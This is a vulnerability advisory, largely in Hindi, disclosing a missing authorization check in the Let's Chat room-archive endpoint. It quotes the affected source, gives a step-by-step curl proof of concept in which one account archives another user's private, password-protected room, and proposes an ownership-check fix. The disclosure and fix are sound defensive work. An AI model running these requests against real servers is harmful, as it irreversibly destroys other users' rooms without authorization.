
Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)
निर्धारित CVE ID: CVE-2026-66751
DELETE /rooms/:room लॉगिन की आवश्यकता के अलावा कोई प्राधिकरण जांच नहीं करता। कोई भी खाता सर्वर पर किसी भी रूम को आर्काइव कर सकता है, जिसमें निजी, पासवर्ड-संरक्षित रूम शामिल हैं जिन्हें उसी खाते को पढ़ने, शामिल होने या संशोधित करने की अनुमति नहीं है।
आर्काइव करना ही Let's Chat में रूम हटाने का तरीका है। रूम रूम सूची से गायब हो जाता है, सीधे लुकअप 404 लौटाते हैं, और उसमें संदेश पोस्ट करना या फ़ाइलें अपलोड करना अस्वीकार कर दिया जाता है। एप्लिकेशन में कोई कोड पथ नहीं है जो इसे उलट सके।
Repo URL: https://github.com/sdelements/lets-chat
0.3.0 (commit 5b5f46f, 2 जनवरी 2015, "Rooms are archived, instead of deleted") से अंतिम रिलीज़ 0.4.8 तक असुरक्षित। कोई सुधारित संस्करण मौजूद नहीं है।
निजी और पासवर्ड-संरक्षित रूम 0.4.0 में आए, इसलिए वह स्थिति जहाँ एक हमलावर ऐसे रूम को नष्ट करता है जिसकी सामग्री वे नहीं देख सकते, 0.4.0 से आगे लागू होती है। लुप्त जांच स्वयं 0.3.0 से है।
0.4.8 पर commit 617207f पर, और docker.io/sdelements/lets-chat:latest (0.4.7) पर पुष्टि की गई।
CWE-862: Missing Authorization (लापता प्राधिकरण)।
CVSS 4.0 आधार स्कोर 5.3 (मध्यम)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
हमलावर को एक साधारण उपयोगकर्ता खाते और HTTP पोर्ट तक नेटवर्क पहुंच की आवश्यकता होती है। उन्हें रूम का स्वामी होने, उसका सदस्य होने, उसका पासवर्ड जानने, या कोई उन्नत भूमिका रखने की आवश्यकता नहीं है। स्व-पंजीकरण डिफ़ॉल्ट रूप से सक्षम है (auth.local.enableRegistration defaults.yml में)।
लक्ष्य चयन की कोई लागत नहीं है। GET /rooms डिज़ाइन के अनुसार प्रत्येक उपयोगकर्ता को पासवर्ड-संरक्षित रूम सूचीबद्ध करता है, इसलिए हमलावर रूम id की पूरी सूची पढ़ सकता है और प्रत्येक को बारी-बारी से आर्काइव कर सकता है।
यह रूट लॉगिन की मांग करता है और रूम को हल करता है, और कुछ नहीं। app/controllers/rooms.js:99-109:
app.route('/rooms/:room')
.all(middlewares.requireLogin, middlewares.roomRoute)
.get(function(req) {
req.io.route('rooms:get');
})
.put(function(req) {
req.io.route('rooms:update');
})
.delete(function(req) {
req.io.route('rooms:archive');
});
हैंडलर केवल एक रूम id को आगे भेजता है। यह कभी भी req.user को नहीं देखता। app/controllers/rooms.js:217-232:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, function(err, room) {
if (err) {
console.log(err);
return res.sendStatus(400);
}
if (!room) {
return res.sendStatus(404);
}
res.sendStatus(204);
});
},
मैनेजर कोई उपयोगकर्ता तर्क नहीं लेता, इसलिए यह सिद्धांत रूप में भी स्वामित्व की जांच नहीं कर सकता। app/core/rooms.js:123-137:
RoomManager.prototype.archive = function(roomId, cb) {
var Room = mongoose.model('Room');
Room.findById(roomId, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb('Room does not exist.');
}
room.archived = true;
पड़ोसी अपडेट पथ स्वामित्व की जांच अवश्य करता है, जिसके कारण यह जानबूझकर किए गए विकल्प के बजाय एक भूल प्रतीत होता है। app/core/rooms.js:89-91:
if(room.private && !room.owner.equals(options.user.id)) {
return cb('Only owner can change private room.');
}
क्लाइंट कठोर व्याख्या से सहमत है। media/js/views/room.js:28-31 तय करता है कि संपादन नियंत्रण कौन देखता है, और Archive Room बटन संपादन मोडल के अंदर स्थित है जिसे यह नियंत्रण खोलता है:
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');
this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);
पासवर्ड-संरक्षित रूम के लिए एक गैर-स्वामी कभी भी बटन नहीं देखता। यह प्रतिबंध केवल ब्राउज़र में मौजूद है।
आवश्यक है rooms.private: true (या LCB_ROOMS_PRIVATE=true) ताकि निजी रूम बनाए जा सकें। लुप्त जांच स्वयं उस सेटिंग की परवाह किए बिना हर रूम पर लागू होती है।
BASE=http://localhost:5000
# Two unrelated accounts.
for U in victim attacker; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
-H 'Content-Type: application/json' \
-d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'
RID=<id from the response above>
# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
-H 'Content-Type: application/json' -d '{"name":"x"}'
# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID
# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID
अनुरोध के बाद रूम हर उपयोगकर्ता के लिए GET /rooms से गायब हो जाता है, GET /rooms/:id 404 लौटाता है, और messages:create और files:create इसे अस्वीकार कर देते हैं (app/core/messages.js:28-30, app/core/files.js:55-57)। app/ में कुछ भी archived को वापस false पर सेट नहीं करता, इसलिए पुनर्प्राप्ति के लिए सीधे डेटाबेस एक्सेस की आवश्यकता होती है।
कॉलर को मैनेजर में पास करें और आर्काइव करने से पहले स्वामित्व की जांच करें, जैसा कि update पहले से करता है। app/controllers/rooms.js:217 में:
archive: function(req, res) {
var roomId = req.param('room') || req.param('id');
core.rooms.archive(roomId, { user: req.user }, function(err, room) {
और app/core/rooms.js:123 में, if (!room) जांच के बाद:
if (!room.owner.equals(options.user.id)) {
return cb('Only the owner can archive this room.');
}